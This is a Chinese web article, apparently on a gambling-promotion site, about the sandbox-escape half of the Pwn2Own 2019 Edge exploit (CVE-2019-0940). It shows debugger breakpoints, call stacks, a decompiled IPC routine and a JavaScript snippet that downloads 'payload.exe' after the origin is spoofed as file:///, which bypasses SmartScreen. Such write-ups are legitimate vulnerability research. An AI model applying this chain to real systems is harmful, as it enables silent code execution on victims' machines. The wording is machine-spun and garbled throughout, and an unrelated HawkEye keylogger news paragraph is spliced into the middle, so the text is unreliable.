详细分析Pwn2Own 2019上曝出的Edge的Canvas 2D API破绽(CVE-2019-0940)应用(下) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

详细分析Pwn2Own 2019上曝出的Edge的Canvas 2D API破绽(CVE-2019-0940)应用(下)

申博_新闻事件 申博 110次浏览 已收录 0个评论

上文,我们以Microsoft Edge浏览器为例,说一说黑客团队是怎样发明个中的破绽,并胜利运用它的。该破绽运用包罗两大块:

1. Edge的渲染器反复开释 (double-free)破绽运用,完成恣意读写;

2.沙箱逃逸的逻辑破绽运用,完成具有介质完整性品级(Medium Integrity Level)的恣意代码实行;

不外由于篇幅所限,我们只引见了运用Microsoft Edge 64位渲染器历程当中反复开释 (double-free)破绽的状况。本文,我们将接着引见沙箱逃逸的逻辑破绽,该破绽许能够介质完整性品级实行恣意代码。

配景知

Microsoft Edge运用种种历程间通讯(IPC)机制在内容历程、管理器历程和署理历程之间举行通讯。历程间通讯(IPC,Inter-Process Communication),指最少两个历程或线程间传送数据或旌旗灯号的一些手艺或要领。历程是盘算机体系分派资本的最小单元(严格说来是线程)。每一个历程都有自身的一局部自力的体系资本,相互是断绝的。为了能使分歧的历程相互接见资本并举行谐和事情,才有了历程间通讯。举一个典范的例子,运用历程间通讯的两个运用能够被分类为客户端和服务器,客户端历程要求数据,服务端复兴客户端的数据要求。有一些运用自身既是服务器又是客户端,这在分布式盘算中,经常能够见到。这些历程能够运转在统一盘算机上或网络连接的分歧盘算机上。与本文所形貌的破绽相干的IPC机制,有一组自定义音讯通报函数,这些函数扩大了规范的Windows API PostMessage()函数。这些函数看起来以下所示:

edgeIso!IsoPostMessage(ulong, ulong, ulong, ulong, ulong, _GUID)
edgeIso!IsoPostMessageUsingDataInBuffer(ulong, bool)
edgeIso!IsoPostMessageUsingVirtualAddress(ulong, ulong, ulong, ulong, uchar *, ulong)
edgeIso!IsoPostMessageWithoutBuffer(ulong, ulong, ulong, ulong, _GUID)
edgeIso!LCIEPostMessage(ulong, ulong, ulong, ulong, ulong)
edgeIso!LCIEPostMessageWithDISPPARAMS(ulong, ulong, uint, ulong, long, tagDISPPARAMS *, int)
edgeIso!LCIEPostMessageWithoutBuffer(ulong, ulong, ulong, ulong)

所列函数用于发送含有或不含有数据的音讯,而且是无状况的。这些函数不支持直接猎取操纵效果,只返回有关操纵效果的音讯。不外,这其实不包管所要求的操纵已胜利完成。这些函数的主要目的是触发某些事宜,比方,当用户点击导航面板时,旌旗灯号状况信息和用户界面关照就会发作变化。

音讯被发送到以后历程的窗口或管理器历程的窗口时,将挑选对PostMessage()的挪用。历程间音讯通报,运用的是同享内存局部和Windows事宜。完成细节对开辟人员是隐蔽的,而且音讯的偏向是依据窗口句柄的值举行挑选的。每一个音讯都有一个唯一的标识符,该标识符透露表现作为对触发器的相应而实行的操纵范例。

应当作为对用户触发事宜的相应而建立的音讯经由历程分歧处置惩罚递次的假造层,从一个函数通报到另一个函数。这些处置惩罚递次卖力处置惩罚音讯,并能够运用分歧的音讯标识符进一步通报音讯。

破绽

Microsoft Edge Manager历程接收来自其他历程的音讯,包罗内容历程。有些音讯只能在内部运转,而不会逾越历程界限。内容历程能够发送应当仅在Manager历程内发送的音讯,若是如许的音讯被进击者运用,则能够捏造用户点击历程,从而下载并启动恣意二进制文件。

当启动可实行文件的下载(经由历程JavaScript代码或用户要求)时,将涌现含有按钮的关照栏,并向用户供应三个选项:“运转”卖力运转所供应的文件;“下载”卖力举行下载以下载或“作废”卖力作废历程。若是用户单击“运转”,则会将一系列音讯从一个管理器历程窗口发送到另一个历程窗口。经由历程运用以下断点,能够检察调试器中通报的音讯范例:

bu edgeIso!LCIEPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithDISPPARAMS ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageUsingVirtualAddress ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"

在导航和后续文件下载时期发送的大批音讯,形成了庞杂的行动递次。以下列表透露表现在普通用户运动时期由内容历程(CP)或管理器历程(MP)实行的操纵:

1.用户点击要导航的链接或导航由JavaScript代码触发;

2.触发导航事宜(从CP发送到MP的音讯);

3.建立和处置惩罚形式下载关照栏的音讯被发送(CP到MP);

4.涌现形式关照栏;

5.处置惩罚导航和汗青状况的音讯被发送(CP到MP);

6.发送处置惩罚DOM事宜的音讯 (CP到MP);

7.再次处置惩罚下载,发送带有相干下载材料的音讯(CP至MP);

8.用户点击“运转”以运转文件下载;

9.发送关于下载状况的音讯(MP到CP);

10.CP以更新的文件下载信息举行相应,并在自身的历程中停止下载处置惩罚;

11.MP挑选文件下载处置惩罚并最先向自身的Windows发送音讯(MP到MP);

12.MP启动下载文件的平安扫描(MP到MP);

13.若是扫描胜利完成,将向署理历程发送一条音讯来运转该文件;

14.“browser_broker.exe”署理历程卖力启动可实行文件。

这一系列挪用中的第一条音讯就是对用户点击的相应,该相应会启动一系列音讯通报事宜。。接下来是一条对破绽运用很主要的音讯,由于挪用客栈包罗破绽将模仿的函数。调试器日记文件的摘录以下:

垃圾广告活动使用HawkEye Keylogger攻击企业

研究人员分别发现2019年4月和5月攻击企业用户的恶意攻击活动,攻击者使用垃圾邮件来攻击不同行业的企业,包括交通和物流、健康、出口和进口、营销、农业等。 HawkEye是专门用于从受感染的设备中窃取信息的,但也可以被用做加载器,可以使用其僵尸网络来提取其他恶意软件到设备中作为第三方网络犯罪的服务。 4月和5月的HawkEye攻击活动 使用keylogger攻击企业用户的垃圾邮件活动会窃取账户凭证和敏感信息,用作之后发起账号接管和BEC攻击。 在4月和5月的HawkEye攻击活动,攻击者使用位于爱沙尼亚共和国的垃圾邮件服务器将垃圾邮件伪装成来自西班牙银行或合法公司的消息来传播HawkEye Reborn v8.0和HawkEye Reborn v9.0软件。 虽然垃圾邮件使用一般的问候语,文本和内容质量很差,也没有任何公司的logo,但是垃圾邮件发送者可以将发送地址伪装成看似合法银行域名的地址。垃圾邮件附件含有伪造的商业发票,受害者打开后就会在后台释放HawkEye恶意软件。 样本垃圾邮件 IBM X-Force分析发现HawkEye Reborn v9样本主要攻击西班牙、美国和阿联酋的用户,而HawkEye v8主要攻击西班牙用户。为了用keylogger/stealer恶意软件感染用户,受害者在打开伪造的发票时PhotoViewer会释放一个msh

edgeIso!LCIEPostMessage (00007ffe`d46ab110)(00000402, 00000402, 00000c65, ...)
 # Child-SP          RetAddr           Call Site
00 0000005d`65cfe928 00007ffe`af8de928 edgeIso!LCIEPostMessage
01 0000005d`65cfe930 00007ffe`af696d18 EMODEL!DownloadStateProgress::LCIESendToDownloadManager+0x118
02 0000005d`65cfe9b0 00007ffe`af696b1d EMODEL!CDownloadSecurity::_SendStateChangeMessage+0xe0
03 0000005d`65cfead0 00007ffe`af6954f5 EMODEL!CDownloadSecurity::_OnSecurityChecksComplete+0xa5
04 0000005d`65cfeb00 00007ffe`af6878c8 EMODEL!CDownloadSecurity::OnSecurityCheckCallback+0x45
05 0000005d`65cfeb30 00007ffe`af686dc2 EMODEL!CDownloadManager::OnDownloadSecurityCallback+0x58
06 0000005d`65cfeb70 00007ffe`af4604b7 EMODEL!CDownloadManager::HandleDownloadMessage+0x11e
07 0000005d`65cfed40 00007ffe`d469cccf EMODEL!LCIEAuthority::LCIEAuthorityManagerWinProc+0x2067
08 0000005d`65cff410 00007ffe`d469d830 edgeIso!IsoDispatchMessageToArtifacts+0x54f
09 0000005d`65cff520 00007fff`08506d41 edgeIso!_IsoThreadMessagingWindowProc+0x1f0

发送的末了一条音讯也很主要,它具有标识符0xd6b,卖力启动运转文件。调试器日记文件的摘录以下:

edgeIso!IsoPostMessage (00007ffe`d46ad8c0)(00000402, 00000402, 00000d6b, ...)
 # Child-SP          RetAddr           Call Site
00 0000005d`656fefc8 00007ffe`af62b4c6 edgeIso!IsoPostMessage
01 0000005d`656fefd0 00007ffe`af62b962 EMODEL!TFlatIsoMessage<DownloadOperation>::Post+0x9a
02 0000005d`656ff040 00007ffe`af62b7bf EMODEL!SpartanCore::DownloadsHandler::SendCommand+0x4e
03 0000005d`656ff0b0 00007ffe`af62ac07 EMODEL!SpartanCore::DownloadsHandler::ReportLaunchFailure+0xc3
04 0000005d`656ff110 00007ffe`af43be99 EMODEL!SpartanCore::DownloadsHandler::InvokeCommand+0x117
05 0000005d`656ff190 00007ffe`af43f0c3 EMODEL!CLayerBase::InvokeCommand+0x159
06 0000005d`656ff210 00007ffe`af43e78a EMODEL!CAsyncBoundaryLayer::_ProcessRequest+0x503
07 0000005d`656ff340 00007fff`08506d41 EMODEL!CAsyncBoundaryLayer::s_WndProc+0x19a
08 0000005d`656ff480 00007fff`08506713 USER32!UserCallWinProcCheckWow+0x2c1
09 0000005d`656ff610 00007fff`016ffef4 USER32!DispatchMessageWorker+0x1c3

能够看出,SpartanCore::DownloadsHandler::SendCommand()被破绽运用代码诳骗。

破绽运用

破绽运用代码完整在Javascript中完成,并从Javascript挪用所需的本机函数。

破绽运用历程可分为以下4个阶段:

1.变动以后文档的原始地位;

2.实行供应运转下载文件的JavaScript代码;

3.向管理器历程发送一条音讯,该音讯将触发要运转的文件;

4.规复原始地位;

Edge浏览器会依据站点的地位,正告用户能够会下载能够不平安的文件。关于互联网站点,用户一直会收到正告。别的,Edge浏览器会搜检下载的援用递次,即运用户明白挑选运转文件,它也能够谢绝运转下载的文件。别的,运用Microsoft Windows Defender SmartScreen扫描下载的文件,若是文件被视为歹意文件,则会阻挠任何文件运转,这将阻挠进击的发作。

然则,当从“file://”URL启动下载时,下载援用递次也来自平安地区,下载的文件不会符号为“Web符号”(MotW)。这完整绕过了Microsoft Defender SmartScreen的搜检,以许可运转下载的文件而不受任何限定。

第一步,该破绽会找到以后站点URL,并运用“file:///”地区URL掩盖它。经由历程读取内存中的相干指针能够找到站点的URL。在掩盖了站点URL以后,显现递次会将来自以后站点的任何下载视为来自“file:///”地区。

第二步,破绽实行JavaScript代码,该代码从长途服务器猎取下载文件并供应下载:

let anchorElement = document.createElement('a');
fetch('payload.bin').then((response) => {
  response.blob().then(
    (blobData) => {
      anchorElement.href = URL.createObjectURL(blobData);
      anchorElement.download = 'payload.exe';
      anchorElement.click();
    }
  );
});

实行的JavaScript启动文件下载,只需用户没有相应下载关照栏,Edge浏览器就会在内部缓存文件中生存一个暂时副本。在下载任何文件之前,会为现实下载文件建立一个全局唯一标识符(GUID)。Edge浏览器不是经由历程文件名或途径来辨认下载的,而是经由历程下载GUID来辨认的。发送敕令实行任何文件操纵的音讯必需发送现实文件的GUID。因而,须要找到现实的文件下载GUID。在挪用EdgeContent的历程当中,内容历程建立了所需的GUID !CDownloadState::Initialize():

.text:0000000180058CF0 public: long CDownloadState::Initialize(class CInterThreadMarshal *, struct IStream *, unsigned short const *, struct _GUID const &, unsigned short const *, struct IFetchDownloadContext *) proc near
...
.text:0000000180058E6F loc_180058E6F:
.text:0000000180058E6F                 mov     edi, 8007000Eh
.text:0000000180058E74                 test    rbx, rbx
.text:0000000180058E77                 jz      loc_180058FF0
.text:0000000180058E7D                 test    r13b, r13b
.text:0000000180058E80                 jnz     short loc_180058E93
.text:0000000180058E82                 lea     rcx, [rsi+74h]  ; pguid
.text:0000000180058E86                 call    cs:__imp_CoCreateGuid

接下来是挪用EdgeContent!DownloadStateProgress::LCIESendToDownloadManager(),这个函数包罗一切相干的下载数据(比方以后URL,缓存文件的途径,援用者,文件名称和文件的mime范例), 为元数据增加添补, 建立所谓的“音讯缓冲区”,并经由历程挪用LCIEPostMessage()将其发送到管理器历程。当此音讯被发送到另一个历程时,一切数据终究都被安排在同享内存局部,而且内容历程和管理器历程都能够读写这些数据。别的,音讯缓冲区终究由下载文件GUID添补。

DownloadStateProgress::LCIESendToDownloadManager()实行的上述操纵对进击很主要,由于它间接走漏了音讯缓冲区的地点和相干下载文件GUID。

音讯缓冲区的分派地点取决于音讯的巨细:

0x0到0x20字节:不支持(音讯传送失利);

0x20到0x1d0字节:第一个插槽;

0x1d4到0xfd0字节:第二个插槽;

来自0x1fd4字节:末了一个插槽;

若是开释了具有雷同巨细插槽的前一条音讯,则在雷同的地点重新分派新音讯。音讯缓冲区分派递次的细节会胜利地走漏下一个缓冲区的地点。在触发文件下载以后,进击者就将经由历程该破绽猎取音讯缓冲区的地点。在检索到音讯缓冲区的地点后,能够剖析音讯缓冲区并提取相干数据,比方缓存途径和文件下载GUID。

末了一步,也是症结的一步,就是发送一条音讯,该音讯会触发浏览器以介质完整性品级运转下载的文件(现实的文件操纵由浏览器署理“browser_broker.exe”实行)。实行以后步调的破绽代码是从eModel!TFlatIsoMessage<DownloadOperation>::Post()借用的:

__int64 __fastcall TFlatIsoMessage<DownloadOperation>::Post(
    unsigned int a1,
    unsigned int a2,
    __int64 a3,
    __int64 a4,
    __int64 a5
)
{
    unsigned int v5; // esi
    unsigned int v6; // edi
    signed int result; // ebx
    __int64 isoMessage_; // r8
    __m128i threadStateGUID; // xmm0
    unsigned int v11; // [rsp+20h] [rbp-48h]
    __int128 tmpThreadStateGUID; // [rsp+30h] [rbp-38h]
    __int64 isoMessage; // [rsp+40h] [rbp-28h]
    unsigned int msgBuffer; // [rsp+48h] [rbp-20h]
 
    v5 = a2;
    v6 = a1;
    result = IsoAllocMessageBuffer(a1, &msgBuffer, 0x48u, &isoMessage);
    if ( result >= 0 )
    {
        isoMessage_ = isoMessage;
        *(isoMessage + 0x20) = *a5;
        *(isoMessage_ + 0x30) = *(a5 + 0x10);
        *(isoMessage_ + 0x40) = *(a5 + 0x20);
        threadStateGUID = *GlobalThreadState();
        v11 = msgBuffer;
        _mm_storeu_si128(&tmpThreadStateGUID, threadStateGUID);
        result = IsoPostMessage(v6, v5, 0xD6Bu, 0, v11, &tmpThreadStateGUID);
        if ( result < 0 )
        {
            IsoFreeMessageBuffer(msgBuffer);
        }
    }
    return result;
}

末了,该破绽会规复原始站点URL以制止任何潜伏的反剖析,并发送音讯删除下载关照栏。

不外,运用该破绽时,会存在一个题目,就是在破绽发送音讯点击弹出按钮之前,会涌现一个小的弹出窗口。

现在,还没有简朴的要领能够检测出如上所述的破绽运用,由于破绽运用代码不须要运用任何迥殊范例的数据,也不实行任何范例的非常运动。

减缓步伐

这个破绽是用Javascript开辟的,以是能够经由历程禁用Javascript来减缓这个题目。别的,微软在5月份的更新中修补了上述破绽。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明详细分析Pwn2Own 2019上曝出的Edge的Canvas 2D API破绽(CVE-2019-0940)应用(下)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址